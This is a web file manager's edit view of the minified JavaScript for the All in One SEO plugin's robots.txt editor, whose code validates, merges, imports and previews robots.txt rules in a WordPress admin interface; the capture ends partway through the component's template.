File manager - Edit - /home/adiance/public_html/wp-content/plugins/all-in-one-seo-pack/dist/Lite/assets/js/RobotsEditor.618039b8.js
Back
import{f as W,i as Q,h as Y,a as K,u as X}from"./links.4c32e7b9.js";import{l as Z}from"./license.afc1306d.js";import{p as N,q as tt}from"./isArrayLikeObject.ab8f4241.js";import{N as et}from"./Network.0a856264.js";import{S as ot,a as st}from"./Ellipse.9a695889.js";import{B as rt,C as it}from"./Caret.da0d1a59.js";import{B as nt}from"./Editor.981fd5ea.js";import{C as F,S as lt}from"./index.df267eaa.js";import{C as at}from"./Card.95fd844a.js";import{C as dt}from"./Index.0b568ff6.js";import{C as ct,S as ut}from"./Upload.95ebde70.js";import{C as ht}from"./SettingsRow.d0f3e207.js";import{S as bt,D as pt}from"./Drag.2c503513.js";import{r as w,o as f,c as k,F as A,M as D,b as $,w as _,a as n,t as b,f as T,d as a,D as R,J as mt,P,Q as L,I as C}from"./vue.runtime.esm-bundler.ba5c08e0.js";import{_ as B}from"./_plugin-vue_export-helper.80405f63.js";import{S as _t}from"./Plus.3b9712cb.js";import{S as ft}from"./External.b6186288.js";import"./default-i18n.3881921e.js";import"./upperFirst.7faab9f8.js";import"./_stringToArray.4de3b1f3.js";import"./toString.7b877a36.js";import"./tags.04db11b2.js";import"./Tooltip.d28f6bf4.js";import"./Slide.3af65e43.js";import"./params.f0608262.js";import"./Row.76881ed1.js";import"./vue.runtime.esm-bundler.8db3b8fc.js";const gt=t=>{const e=[];return Object.keys(t).forEach(r=>{r&&(e.push(`User-agent: ${r}`),Object.keys(t[r]).forEach(i=>{const[o,s]=t[r][i].split(":").map(h=>h.trim());e.push(`${o.charAt(0).toUpperCase()+o.slice(1)}: ${s}`)}),e.push(""))}),e.join(`\r `)},E=t=>{const e={};return t.forEach(r=>{const i=JSON.parse(r);if(!(!i.userAgent||!i.fieldValue)){if(!e[i.userAgent]){e[i.userAgent]=[`${i.directive}: ${i.fieldValue}`];return}e[i.userAgent].push(`${i.directive}: ${i.fieldValue}`)}}),e},wt=t=>{const e=[],r=/^\/.*$/,i=(l,p,c,g,d={})=>{const x=`${g.tableIndex}${g.userAgent}${g.directive}${g.fieldValue}`;return l.find(m=>c==="defaultRuleOverride"&&m.hash===x&&m.message===c)||(l.push({type:p,message:c,hash:x,isNetworkIndex:d.isNetworkIndex,previewIndex:d.previewIndex,sourcePreviewIndex:(d==null?void 0:d.sourcePreviewIndex)||null,conflictingIndex:(d==null?void 0:d.conflictingIndex)||null,duplicateIndex:(d==null?void 0:d.duplicateIndex)||null,equivalentIndex:(d==null?void 0:d.equivalentIndex)||null,overriddenIndex:(d==null?void 0:d.overriddenIndex)||null}),e.push((d==null?void 0:d.overriddenIndex)||null)),l},o=(l,p)=>l+p;let s=[],h=0;for(const l in t){h=o(h,2);for(const[p,c]of Object.entries(t[l])){const[g,d]=[c.directive,c.fieldValue];if(!g||!d)continue;let x=h;for(let m=parseInt(p)+1;m<t[l].length;m++){const[S,y]=[t[l][m].directive,t[l][m].fieldValue];if(!(!S||!y)){if(h=o(h,1),`${g}${d}`==`${S}${y}`&&(s=i(s,"red","duplicateRule",t[l][m],{previewIndex:h,sourcePreviewIndex:x,isNetworkIndex:c.networkLevel,duplicateIndex:c.tableIndex})),g.match(/disallow|allow/i)&&S.match(/disallow|allow/i)){g!==S&&d===y&&(c.default?(e.includes(c.tableIndex)||x--,s=i(s,"yellow","defaultRuleOverride",t[l][m],{previewIndex:h,isNetworkIndex:c.networkLevel,overriddenIndex:c.tableIndex})):s=i(s,c.networkLevel?"yellow":"red","conflictingPath",t[l][m],{previewIndex:h,sourcePreviewIndex:c.networkLevel?null:x,isNetworkIndex:c.networkLevel,conflictingIndex:c.tableIndex}));const O=new RegExp(`^${y.replace(/\*+$/g,"")}$`);y.indexOf("*")!==-1&&d.match(O)&&(s=i(s,"red","equivalentPath",t[l][m],{previewIndex:h,sourcePreviewIndex:x,isNetworkIndex:c.networkLevel,equivalentIndex:c.tableIndex}))}g==="crawl-delay"&&S==="crawl-delay"&&d!==y&&(s=i(s,"red","conflictingCrawlDelay",t[l][m],{previewIndex:h,sourcePreviewIndex:x,isNetworkIndex:c.networkLevel,conflictingIndex:c.tableIndex}))}}if(h=x,g.match(/^clean-param/i)){const[m,S]=d.split(/\s+/).map(y=>y.trim());(!m||m.match(r)||S&&!S.match(r))&&(s=i(s,"red","invalidCleanParam",c,{previewIndex:h}))}if(g.match(/^crawl-delay/i)){const m=Number(d);(isNaN(m)||1>m)&&(s=i(s,"red","invalidCrawlDelay",c,{previewIndex:h}))}h=o(h,1)}}if(s.length)throw s;return!0},xt={components:{CoreAlert:F},computed:{errorsByType(){return this.errors.reduce((t,e)=>(t[e.type]||(t[e.type]=[]),t[e.type].push(e),t),{})}},methods:{getErrorMessage(t){return t.message==="duplicateRule"?this.$t.sprintf(this.$t.__("This rule is a duplicate of rule #%1$s%2$s.",this.$td),t.duplicateIndex,t.isNetworkIndex?` (${this.strings.fromTheNetwork})`:""):t.message==="equivalentPath"?this.$t.sprintf(this.$t.__("Equivalent to rule #%1$s%2$s. The trailing wildcard is ignored.",this.$td),t.equivalentIndex,t.isNetworkIndex?` (${this.strings.fromTheNetwork})`:""):t.message==="conflictingPath"?this.$t.sprintf(this.$t.__("This rule conflicts with rule #%1$s%2$s.%3$s",this.$td),t.conflictingIndex,t.isNetworkIndex?` (${this.strings.fromTheNetwork})`:"",t.isNetworkIndex?` ${this.strings.networkRuleTakesPrecedence}`:` ${this.strings.allowTakesPrecedence}`):t.message==="defaultRuleOverride"?this.$t.sprintf(this.$t.__("This rule overrides the default rule #%1$s%2$s.",this.$td),t.overriddenIndex,t.isNetworkIndex?` (${this.strings.fromTheNetwork})`:""):t.message==="conflictingCrawlDelay"?this.$t.sprintf(this.$t.__("This rule conflicts with rule #%1$s%2$s.%3$s",this.$td),t.conflictingIndex,t.isNetworkIndex?` (${this.strings.fromTheNetwork})`:"",` ${this.strings.conflictingCrawlDelay}`):this.strings[t.message]}},props:{errors:{type:Array,required:!0}},data(){return{strings:{allowTakesPrecedence:this.$t.__('The "Allow" rule takes precedence.',this.$td),fromTheNetwork:this.$t.__("from the network level",this.$td),invalidCleanParam:this.$t.__("Clean-param must start with at least one param which is optionally followed by one path.",this.$td),invalidCrawlDelay:this.$t.__("Crawl-delay must be a number starting from 1.",this.$td),conflictingCrawlDelay:this.$t.__('For some crawlers, encountering conflicting "Crawl-delay" might lead to unpredictable behavior.',this.$td),networkRuleTakesPrecedence:this.$t.__("The network rule takes precedence.",this.$td)}}}},Rt={key:0,class:"robots-editor-rule-error-alert"};function vt(t,e,r,i,o,s){const h=w("core-alert");return r.errors.length?(f(),k("div",Rt,[(f(!0),k(A,null,D(s.errorsByType,(l,p)=>(f(),$(h,{key:p+"-errors",type:p,size:"small"},{default:_(()=>[(f(!0),k(A,null,D(l,(c,g)=>(f(),k("div",{key:g},[n("b",null,b(s.getErrorMessage(c)),1)]))),128))]),_:2},1032,["type"]))),128))])):T("",!0)}const kt=B(xt,[["render",vt]]);const Tt={setup(){return{licenseStore:W(),networkStore:Q(),notificationsStore:Y(),optionsStore:K(),rootStore:X()}},components:{SvgDrag:bt,BaseButton:rt,BaseEditor:nt,CoreAlert:F,CoreCard:at,CoreLoader:it,CoreModal:dt,CoreNetworkSiteSelector:ct,CoreSettingsRow:ht,Draggable:pt,RuleErrors:kt,SvgCirclePlus:_t,SvgEllipse:ot,SvgExternal:ft,SvgTrash:lt,SvgUpload:ut},mixins:[et,st],data(){var t;return{currentSite:{},defaultRules:((t=this.rootStore.aioseo.data.robots)==null?void 0:t.defaultRules)||{},directiveOptions:[{value:"allow",label:"Allow"},{value:"disallow",label:"Disallow"},{value:"clean-param",label:"Clean-param"},{value:"crawl-delay",label:"Crawl-delay"}],errors:{deleteRobotsTxt:null,importAndDeleteRobotsTxt:null,importRobotsTxt:null,importRobotsTxtFromUrl:null,pasteRobotsTxtText:null,tableRule:[]},forceRobotsDetectedAlert:!1,inputImportRobotsTxtFromUrl:"",inputPasteRobotsTxtText:"",license:Z,loading:{btnDeleteRobotsTxt:!1,btnImportAndDeleteRobotsTxt:!1,btnImportRobotsTxt:!1,cardOverlay:!1},showImportModal:!1,strings:{addRule:this.$t.__("Add Rule",this.$td),allow:this.$t.__("Allow",this.$td),customRobotsPreview:this.$t.__("Custom Robots.txt Preview",this.$td),deleteRule:this.$t.__("Delete Rule",this.$td),description:this.$t.sprintf(this.$t.__("The robots.txt editor in %1$s allows you to set up a robots.txt file for your site that will override the default robots.txt file that WordPress creates. By creating a robots.txt file with %2$s you have greater control over the instructions you give web crawlers about your site.",this.$td),"AIOSEO","AIOSEO"),description2:this.$t.sprintf(this.$t.__("Just like WordPress, %1$s generates a dynamic file so there is no static file to be found on your server. The content of the robots.txt file is stored in your WordPress database.",this.$td),"All in One SEO"),directive:this.$t.__("Directive",this.$td),disallow:this.$t.__("Disallow",this.$td),enableCustomRobots:this.$t.__("Enable Custom Robots.txt",this.$td),importAndDelete:this.$t.__("Import and Delete",this.$td),importFromUrl:this.$t.__("Import from URL",this.$td),importRobots:this.$t.__("Import Robots.txt",this.$td),networkAlert:this.$t.__("These custom robots.txt rules will apply globally to your entire network. To adjust the robots.txt rules for an individual site, please choose it in the list above.",this.$td),networkAlertLite:this.$t.__("These custom robots.txt rules will apply globally to your entire network. To adjust the robots.txt rules for an individual site, please visit the dashboard for that site directly and update the settings there.",this.$td),invalidRobotsTxtUrl:this.$t.__("Invalid robots.txt URL.",this.$td),openRobotsTxt:this.$t.__("Open Robots.txt",this.$td),pasteRobotsText:this.$t.__("Paste Robots.txt text",this.$td),userAgentNotFound:this.$t.__("No User-agent found in the content beginning.",this.$td),pasteUrl:this.$t.__("https://any-domain.com/robots.txt",this.$td),physicalRobotsFound:this.$t.sprintf(this.$t.__("%1$s has detected a physical robots.txt file in the root folder of your WordPress installation. We recommend removing this file as it could cause conflicts with WordPress' dynamically generated one. %2$s can import this file and delete it, or you can simply delete it.",this.$td),"AIOSEO","AIOSEO"),robotsEditor:this.$t.__("Robots.txt Editor",this.$td),selectSite:this.$t.__("Select Site",this.$td),userAgent:this.$t.__("User Agent",this.$td)}}},watch:{"networkStore.networkRobots":{deep:!0,handler(){var t;((t=this.currentSite)==null?void 0:t.blog_id)==="network"?this.optionsStore.networkOptions.tools.robots.rules=this.networkStore.networkRobots.rules:this.optionsStore.options.tools.robots.rules=this.networkStore.networkRobots.rules,this.$nextTick(()=>{this.validateRules()})}},currentSite(t,e){e.blog_id&&this.processFetchSiteRobots()},"getOptions.enable"(){this.validateRules(),this.maybeForceRobotsDetectedAlert()}},computed:{btnImportRobotsTxtDisabled(){return!this.inputImportRobotsTxtFromUrl&&!this.inputPasteRobotsTxtText?!0:this.errors.importRobotsTxtFromUrl||this.errors.pasteRobotsTxtText},getOptions(){var t;return((t=this.currentSite)==null?void 0:t.blog_id)==="network"?this.networkStore.getNetworkRobots:this.optionsStore.options.tools.robots},inputCustomRobotsTxtPreview(){const t=this.isNetworkSite&&this.optionsStore.networkOptions.tools.robots.enable?E(this.networkStore.getNetworkRobots.rules):{},e=E(this.networkStore.networkRobots.rules),r=`\r `+this.rootStore.aioseo.data.robots.sitemapUrls.filter(o=>0<o.length).join(`\r `);let i=this.getOptions.enable?this.mergeRuleset(this.defaultRules,this.mergeRuleset(t,e),!0):this.mergeRuleset(this.defaultRules,t);return i=gt(i)+r,i.replace(/<[^>]*>/g,"")},isNetworkSite(){var t;return this.rootStore.aioseo.data.isMultisite&&((t=this.currentSite)==null?void 0:t.blog_id)!=="network"},isValidRobotsSite(){var e;return new URL(this.robotsTxtUrl).pathname.match(/^\/robots.txt\/?/)?this.rootStore.aioseo.data.subdomain||((e=this.currentSite)==null?void 0:e.blog_id)==="network"||this.isMainSite(this.currentSite.domain,this.currentSite.path)||!this.rootStore.aioseo.data.isNetworkAdmin&&this.rootStore.aioseo.data.mainSite:!1},missingRewriteRules(){const t=this.$t.__("It looks like you are missing the proper rewrite rules for the robots.txt file.",this.$td);let e="";return this.rootStore.aioseo.data.server.apache?e=this.$t.sprintf(this.$t.__("It appears that your server is running on Apache, so the fix should be as simple as checking the %1$scorrect .htaccess implementation on wordpress.org%2$s.",this.$td),'<a href="https://wordpress.org/support/article/htaccess/" target="_blank">',"</a>"):this.rootStore.aioseo.data.server.nginx&&(e=e=this.$t.sprintf(this.$t.__("It appears that your server is running on nginx, so the fix will most likely require adding the correct rewrite rules to our nginx configuration. %1$sCheck our documentation for more information%2$s.",this.$td),'<a href="'+this.$links.getDocUrl("robotsRewrite")+'" target="_blank">',"</a>")),t+" "+e},parsedCustomRules(){const t=[];for(const e of this.networkStore.networkRobots.rules.values()){const r=JSON.parse(e);t.push({userAgent:r.userAgent,directive:r.directive,fieldValue:r.fieldValue,default:!1,networkLevel:!1})}return t},parsedDefaultRules(){const t=[];return Object.keys(this.defaultRules).forEach(e=>{for(const r of this.defaultRules[e].values()){const[i,o]=r.split(":").map(s=>s.trim());t.push({userAgent:e,directive:i,fieldValue:o,default:!0,networkLevel:!1})}}),t},parsedNetworkRules(){const t=this.isNetworkSite&&this.optionsStore.networkOptions.tools.robots.enable?this.networkStore.getNetworkRobots.rules:{},e=[];if(Object.keys(t).length)for(const r of t.values()){const i=JSON.parse(r);e.push({userAgent:i.userAgent,directive:i.directive,fieldValue:i.fieldValue,default:!1,networkLevel:!0})}return e},robotsPreviewErrorLabel(){const t=this.errors.tableRule.length?this.errors.tableRule.filter(i=>i.type==="red"):[];if(!t.length)return"";const e=N(t,"previewIndex"),r=tt(e).length;return this.$t.sprintf(this.$t._n("%1$s Error","%1$s Errors",r,this.$td),r)},robotsTxtUrl(){var t,e;return((t=this.currentSite)==null?void 0:t.blog_id)!=="network"&&((e=this.currentSite)!=null&&e.domain)?`${this.rootStore.aioseo.data.isSsl?"https://":"http://"}${this.currentSite.domain}${this.currentSite.path}robots.txt`:this.rootStore.aioseo.urls.robotsTxtUrl},subdirectoryAlert(){return this.isNetworkSite?this.$t.sprintf(this.$t.__("This site is running in a sub-directory of your main site located at %1$s. Your robots.txt file should only appear in the root directory of that site.",this.$td),'<a href="'+this.rootStore.aioseo.urls.mainSiteUrl+'" target="_blank"><strong>'+this.rootStore.aioseo.urls.mainSiteUrl+"</strong></a>"):this.$t.__("This site runs in a sub-directory. The robots.txt file must be located at the root of the website host to which it applies.",this.$td)},showRobotsDetectedAlert(){return this.getOptions.robotsDetected||this.forceRobotsDetectedAlert},tableRules:{get(){return this.networkStore.networkRobots.rules.map(t=>JSON.parse(t))},set(t){const e=[];t.forEach(r=>{e.push(JSON.stringify({userAgent:r.userAgent,directive:r.directive,fieldValue:r.fieldValue}))}),this.networkStore.networkRobots.rules=e}}},methods:{addRow(){this.networkStore.networkRobots.rules.push(JSON.stringify({userAgent:null,directive:"allow",fieldValue:null})),this.$nextTick(()=>{document.querySelector(".robots-editor-table__body .robots-editor-table__row:last-child input").focus()})},deleteRow(t){this.networkStore.networkRobots.rules.splice(t,1)},getTableIndexedRuleset(){const t=[],e=[],r=[...this.parsedDefaultRules,...this.parsedNetworkRules,...this.parsedCustomRules];let i=this.parsedDefaultRules.length,o=0;return r.forEach(s=>{s.tableIndex=s.networkLevel?++i:++o,e.push(s)}),e.forEach(s=>{if(!t[s.userAgent]){t[s.userAgent]=[s];return}t[s.userAgent].push(s)}),t},getTableRuleErrors(t,e){return this.errors.tableRule.length?this.errors.tableRule.filter(r=>r.hash===`${t}${e.userAgent}${e.directive}${e.fieldValue}`):[]},hasTableRuleError(t,e){return this.errors.tableRule.find(r=>{const i=t===(r.duplicateIndex||r.equivalentIndex||r.conflictingIndex)&&!r.isNetworkIndex,o=r.hash===`${t}${e.userAgent}${e.directive}${e.fieldValue}`;return i||o})||!1},hideRobotsDetected(){this.getOptions.robotsDetected=!1,this.optionsStore.saveChanges()},maybeForceRobotsDetectedAlert(){this.getOptions.enable||(this.forceRobotsDetectedAlert=!1),this.getOptions.enable&&this.rootStore.aioseo.data.robots.hasPhysicalRobots&&(this.forceRobotsDetectedAlert=!0)},mergeRuleset(t,e,r=!1){const i={...t};return Object.keys(e).forEach(o=>{if(!(o in i)){i[o]=e[o];return}for(const s of e[o].values()){const[h,l]=s.split(":").map(p=>p.trim());if(h.match(/disallow|allow/i)){const p=h==="disallow"?"allow":"disallow",c=i[o].indexOf(`${p}: ${l}`);c!==-1&&(r?i[o]=i[o].filter((g,d)=>d!==c):e[o]=e[o].filter(g=>g!==`${h}: ${l}`))}}i[o]=[...i[o],...e[o]]}),i},onChangeInputImportRobotsTxtFromUrl(t){this.inputImportRobotsTxtFromUrl=t,this.errors.importRobotsTxtFromUrl=null,t&&!t.match(/^https?:\/\/.{2,}\..{2,}\/robots\.txt$/)&&(this.errors.importRobotsTxtFromUrl=this.strings.invalidRobotsTxtUrl)},onChangeInputPasteRobotsTxtText(t){this.inputPasteRobotsTxtText=t.replace(/#[^\n\r]*/g,""),this.errors.pasteRobotsTxtText=null,this.inputPasteRobotsTxtText&&!this.inputPasteRobotsTxtText.match(/^\s*user-agent:\s*./gi)&&(this.errors.pasteRobotsTxtText=this.strings.userAgentNotFound)},onClickBtnDeleteRobotsTxt(){this.loading.btnDeleteRobotsTxt=!0,this.notificationsStore.processButtonAction("tools/delete-robots-txt").then(()=>window.location.reload()).catch(t=>{var e,r;this.loading.btnDeleteRobotsTxt=!1,this.errors.deleteRobotsTxt=((r=(e=t==null?void 0:t.response)==null?void 0:e.body)==null?void 0:r.message)||null})},onClickBtnImportAndDeleteRobotsTxt(){this.loading.btnImportAndDeleteRobotsTxt=!0,this.processImportRobotsTxt("static").then(()=>{window.location.reload()}).catch(t=>{var e,r;this.loading.btnImportAndDeleteRobotsTxt=!1,this.errors.importAndDeleteRobotsTxt=((r=(e=t==null?void 0:t.response)==null?void 0:e.body)==null?void 0:r.message)||null})},onClickBtnImportRobotsTxt(t){this.loading.btnImportRobotsTxt=!0,this.processImportRobotsTxt(t).then(()=>window.location.reload()).catch(e=>{var r,i;this.loading.btnImportRobotsTxt=!1,this.errors.importRobotsTxt=((i=(r=e==null?void 0:e.response)==null?void 0:r.body)==null?void 0:i.message)||null})},processFetchSiteRobots(){this.loading.cardOverlay=!0,this.networkStore.fetchSiteRobots(this.currentSite.blog_id).then(()=>this.loading.cardOverlay=!1)},processImportRobotsTxt(t){var e;return this.networkStore.importRobotsTxt({source:t,url:this.inputImportRobotsTxtFromUrl,text:this.inputPasteRobotsTxtText,networkLevel:this.rootStore.aioseo.data.isNetworkAdmin,blogId:((e=this.currentSite)==null?void 0:e.blog_id)||null})},sanitizeDirectiveValue(t,e,r){return r=decodeURIComponent(r.trim()),r&&(r=r.replace(/[><]/,""),e==="userAgent"&&(r=r.replace(/([^a-z0-9\-_*,.\s])/gi,""),r=r.replace(/\s+/g," ")),e==="fieldValue"&&t.directive.match(/allow|disallow/)&&(r=r.indexOf("*")===0&&1<r.length?r:"/"+r.replace(/(^\/+)/,"")),r)},async updateRule(t,e,r,i){this.networkStore.networkRobots.rules.splice(i,1,JSON.stringify(t)),await this.$nextTick(),t[e]=this.sanitizeDirectiveValue(t,e,r),this.networkStore.networkRobots.rules.splice(i,1,JSON.stringify(t))},validateRules(){if(!this.getOptions.enable)return this.errors.tableRule=[],!1;try{wt(this.getTableIndexedRuleset()),this.errors.tableRule=[]}catch(t){this.errors.tableRule=t,this.$nextTick(()=>{var l;const e=this.errors.tableRule.length?this.errors.tableRule.filter(p=>p.type==="red"):[],r=((l=this.$refs["input-custom-robots-txt-preview"])==null?void 0:l.$el.querySelector(".ql-editor"))||null;if(!r)return!1;const i=r.querySelectorAll("p"),o=N(e,"previewIndex"),s=N(e,"sourcePreviewIndex"),h=[...new Set([...o,...s])];for(const p of h)i[p-1]&&i[p-1].classList.add("has-error")})}}},mounted(){var t;this.networkStore.networkRobots.rules=((t=this.currentSite)==null?void 0:t.blog_id)==="network"?this.networkStore.getNetworkRobots.rules:this.optionsStore.options.tools.robots.rules,this.validateRules(),this.maybeForceRobotsDetectedAlert()}},St={class:"aioseo-tools-robots-editor"},yt={key:0,class:"aioseo-settings-row"},It={class:"settings-name"},$t={class:"name small-margin"},Ct={class:"settings-content"},At={class:"aioseo-settings-row"},Ot={class:"description"},Nt={class:"description"},Dt=["innerHTML"],Vt={key:1,class:"aioseo-settings-row"},Ut={class:"description"},Pt={class:"buttons description"},Lt={key:2,class:"aioseo-settings-row"},Et={class:"aioseo-settings-row"},Ft={class:"settings-content"},Bt={class:"robots-editor-table"},zt={class:"robots-editor-table__header"},Mt={class:"robots-editor-table__row"},qt=n("div",{class:"robots-editor-table__column"},"#",-1),Gt={class:"robots-editor-table__column"},jt={class:"robots-editor-table__column"},Jt={class:"robots-editor-table__column"},Ht=n("div",{class:"robots-editor-table__column"},null,-1),Wt={class:"robots-editor-table__body"},Qt={class:"robots-editor-table__column"},Yt={class:"robots-editor-table__column"},Kt={class:"robots-editor-table__column"},Xt={class:"robots-editor-table__column"},Zt=n("div",{class:"robots-editor-table__column"},null,-1),te={class:"robots-editor-table__column robots-editor-table__column--truncate"},ee={class:"robots-editor-table__column"},oe={class:"robots-editor-table__column"},se={class:"robots-editor-table__column"},re={class:"robots-editor-table__column robots-editor-table__column--actions"},ie=["onClick","title"],ne={class:"robots-editor-table__footer"},le={class:"buttons"},ae={class:"aioseo-settings-row aioseo-settings-row--preview-robots no-margin"},de={class:"settings-name"},ce={class:"name"},ue={key:0,class:"aioseo-error"},he={class:"settings-content"},be={key:0,class:"aioseo-settings-row no-margin no-border"},pe=["data-or"],me={class:"settings-name"},_e={class:"name small-margin"},fe={class:"settings-content settings-content--gap"},ge={class:"aioseo-settings-row"},we={class:"settings-name"},xe={class:"name small-margin"},Re={class:"settings-content settings-content--gap"},ve={class:"buttons"},ke={key:6,class:"loader-overlay"};function Te(t,e,r,i,o,s){const h=w("core-network-site-selector"),l=w("core-alert"),p=w("base-button"),c=w("svg-external"),g=w("core-settings-row"),d=w("base-toggle"),x=w("base-input"),m=w("base-select"),S=w("svg-trash"),y=w("svg-drag"),O=w("rule-errors"),z=w("draggable"),M=w("svg-circle-plus"),q=w("svg-upload"),G=w("svg-ellipse"),V=w("base-editor"),j=w("core-modal"),J=w("core-loader"),H=w("core-card");return f(),k("div",St,[a(H,{slug:"robotsEditor","header-text":o.strings.robotsEditor},{default:_(()=>{var U;return[i.rootStore.aioseo.data.isNetworkAdmin&&!i.licenseStore.isUnlicensed&&o.license.hasCoreFeature("tools","network-tools-robots")?(f(),k("div",yt,[n("div",It,[n("div",$t,b(o.strings.selectSite),1)]),n("div",Ct,[a(h,{onSelectedSite:e[0]||(e[0]=u=>o.currentSite=u),"follow-selected-site":"","show-network":""})])])):T("",!0),n("div",At,[((U=this.currentSite)==null?void 0:U.blog_id)==="network"?(f(),$(l,{key:0},{default:_(()=>[R(b(i.licenseStore.isUnlicensed||!o.license.hasCoreFeature("tools","network-tools-robots")?o.strings.networkAlertLite:o.strings.networkAlert),1)]),_:1})):T("",!0),n("p",Ot,b(o.strings.description),1),n("p",Nt,[R(b(o.strings.description2)+" ",1),n("span",{innerHTML:t.$links.getDocLink(t.$constants.GLOBAL_STRINGS.learnMore,"robotsEditor",!0)},null,8,Dt)])]),i.rootStore.aioseo.data.robots.hasPhysicalRobots&&s.showRobotsDetectedAlert?(f(),k("div",Vt,[o.errors.importAndDeleteRobotsTxt||o.errors.deleteRobotsTxt?(f(),$(l,{key:0,type:"red"},{default:_(()=>[R(b(o.errors.importAndDeleteRobotsTxt||o.errors.deleteRobotsTxt),1)]),_:1})):T("",!0),a(l,{type:"red","show-close":!s.getOptions.enable,onCloseAlert:s.hideRobotsDetected},{default:_(()=>[n("p",Ut,b(o.strings.physicalRobotsFound),1),n("p",Pt,[a(p,{type:"blue",size:"medium",onClick:s.onClickBtnImportAndDeleteRobotsTxt,loading:o.loading.btnImportAndDeleteRobotsTxt},{default:_(()=>[R(b(o.strings.importAndDelete),1)]),_:1},8,["onClick","loading"]),a(p,{type:"blue",size:"medium",onClick:s.onClickBtnDeleteRobotsTxt,loading:o.loading.btnDeleteRobotsTxt},{default:_(()=>[R(b(t.$constants.GLOBAL_STRINGS.delete),1)]),_:1},8,["onClick","loading"])])]),_:1},8,["show-close","onCloseAlert"])])):T("",!0),i.rootStore.aioseo.data.robots.rewriteExists?T("",!0):(f(),k("div",Lt,[a(l,{type:"red",innerHTML:s.missingRewriteRules},null,8,["innerHTML"])])),s.isValidRobotsSite?(f(),k(A,{key:3},[a(g,{name:t.$constants.GLOBAL_STRINGS.preview},{content:_(()=>[a(p,{size:"medium",type:"blue",tag:"a",href:s.robotsTxtUrl,target:"_blank"},{default:_(()=>[a(c,{width:"14"}),R(" "+b(o.strings.openRobotsTxt),1)]),_:1},8,["href"])]),_:1},8,["name"]),a(g,{name:o.strings.enableCustomRobots,class:"no-border no-margin"},{content:_(()=>[a(d,{modelValue:s.getOptions.enable,"onUpdate:modelValue":e[1]||(e[1]=u=>s.getOptions.enable=u)},null,8,["modelValue"])]),_:1},8,["name"]),n("div",Et,[n("div",Ft,[n("div",Bt,[n("div",zt,[n("div",Mt,[qt,n("div",Gt,b(o.strings.userAgent),1),n("div",jt,b(o.strings.directive),1),n("div",Jt,b(t.$constants.GLOBAL_STRINGS.value),1),Ht])]),n("div",Wt,[(f(!0),k(A,null,D(s.parsedDefaultRules,(u,I)=>(f(),k("div",{key:I,class:"robots-editor-table__row robots-editor-table__row--stripe"},[n("div",Qt,b(I+1),1),n("div",Yt,[a(x,{modelValue:u.userAgent,disabled:!0,size:"medium"},null,8,["modelValue"])]),n("div",Kt,[a(m,{modelValue:o.directiveOptions.find(v=>v.value===u.directive),options:[],disabled:!0,size:"medium"},null,8,["modelValue"])]),n("div",Xt,[a(x,{modelValue:u.fieldValue,disabled:!0,size:"medium"},null,8,["modelValue"])]),Zt]))),128)),a(z,{handle:".aioseo-drag-wrapper",modelValue:s.tableRules,"onUpdate:modelValue":e[3]||(e[3]=u=>s.tableRules=u),"item-key":t._uid.toString(),class:"draggable-rules"},{item:_(({element:u,index:I})=>[n("div",{class:mt(["robots-editor-table__row robots-editor-table__row--stripe",{"aioseo-error":s.hasTableRuleError(I+s.parsedDefaultRules.length+1,u)}])},[n("div",te,b(I+s.parsedDefaultRules.length+1),1),n("div",ee,[a(x,{modelValue:u.userAgent,"onUpdate:modelValue":v=>u.userAgent=v,spellcheck:!1,disabled:!s.getOptions.enable,onChange:v=>s.updateRule(u,"userAgent",v,I),size:"medium"},null,8,["modelValue","onUpdate:modelValue","disabled","onChange"])]),n("div",oe,[a(m,{modelValue:o.directiveOptions.find(v=>v.value===u.directive),options:o.directiveOptions,disabled:!s.getOptions.enable,"onUpdate:modelValue":v=>s.updateRule(u,"directive",v.value,I),size:"medium"},null,8,["modelValue","options","disabled","onUpdate:modelValue"])]),n("div",se,[a(x,{modelValue:u.fieldValue,"onUpdate:modelValue":v=>u.fieldValue=v,spellcheck:!1,disabled:!s.getOptions.enable,onChange:v=>s.updateRule(u,"fieldValue",v,I),size:"medium"},null,8,["modelValue","onUpdate:modelValue","disabled","onChange"])]),n("div",re,[P(n("a",{onClick:C(v=>s.deleteRow(I),["prevent"]),href:"#",role:"button",class:"btn-delete-rule aioseo-outline",title:o.strings.deleteRule},[a(S,{width:"20"})],8,ie),[[L,s.getOptions.enable]]),P(n("a",{onClick:e[2]||(e[2]=C(()=>{},["prevent"])),href:"#",role:"button",class:"aioseo-drag-wrapper aioseo-outline"},[a(y,{width:"20"})],512),[[L,s.getOptions.enable]])]),a(O,{errors:s.getTableRuleErrors(I+s.parsedDefaultRules.length+1,u),class:"robots-editor-table__column robots-editor-table__column--rule-error"},null,8,["errors"])],2)]),_:1},8,["modelValue","item-key"])]),n("div",ne,[n("div",le,[a(p,{onClick:C(s.addRow,["exact"]),disabled:!s.getOptions.enable,class:"btn-add-rule",type:"black",size:"small"},{default:_(()=>[a(M,{width:"14"}),R(" "+b(o.strings.addRule),1)]),_:1},8,["onClick","disabled"]),a(p,{onClick:e[4]||(e[4]=C(u=>o.showImportModal=!0,["prevent"])),disabled:!s.getOptions.enable,type:"black",size:"small"},{default:_(()=>[a(q,{width:"14"}),R(" "+b(t.$constants.GLOBAL_STRINGS.import),1)]),_:1},8,["disabled"])])])])])]),n("div",ae,[n("div",de,[n("div",ce,[R(b(o.strings.customRobotsPreview)+" ",1),s.robotsPreviewErrorLabel?(f(),k("div",ue,[a(G,{width:"8"}),n("span",null,b(s.robotsPreviewErrorLabel),1)])):T("",!0)])]),n("div",he,[a(V,{modelValue:s.inputCustomRobotsTxtPreview,"line-numbers":!0,disabled:"","force-updates":"",monospace:"",ref:"input-custom-robots-txt-preview"},null,8,["modelValue"])])])],64)):(f(),$(l,{key:4,innerHTML:s.subdirectoryAlert},null,8,["innerHTML"])),o.showImportModal?(f(),$(j,{key:5,onClose:e[10]||(e[10]=u=>o.showImportModal=!1)},{headerTitle:_(()=>[R(b(o.strings.importRobots),1)]),body:_(()=>[o.errors.importRobotsTxt?(f(),k("div",be,[a(l,{type:"red","show-close":"",onCloseAlert:e[5]||(e[5]=u=>o.errors.importRobotsTxt=null)},{default:_(()=>[R(b(o.errors.importRobotsTxt),1)]),_:1})])):T("",!0),n("div",{class:"aioseo-settings-row 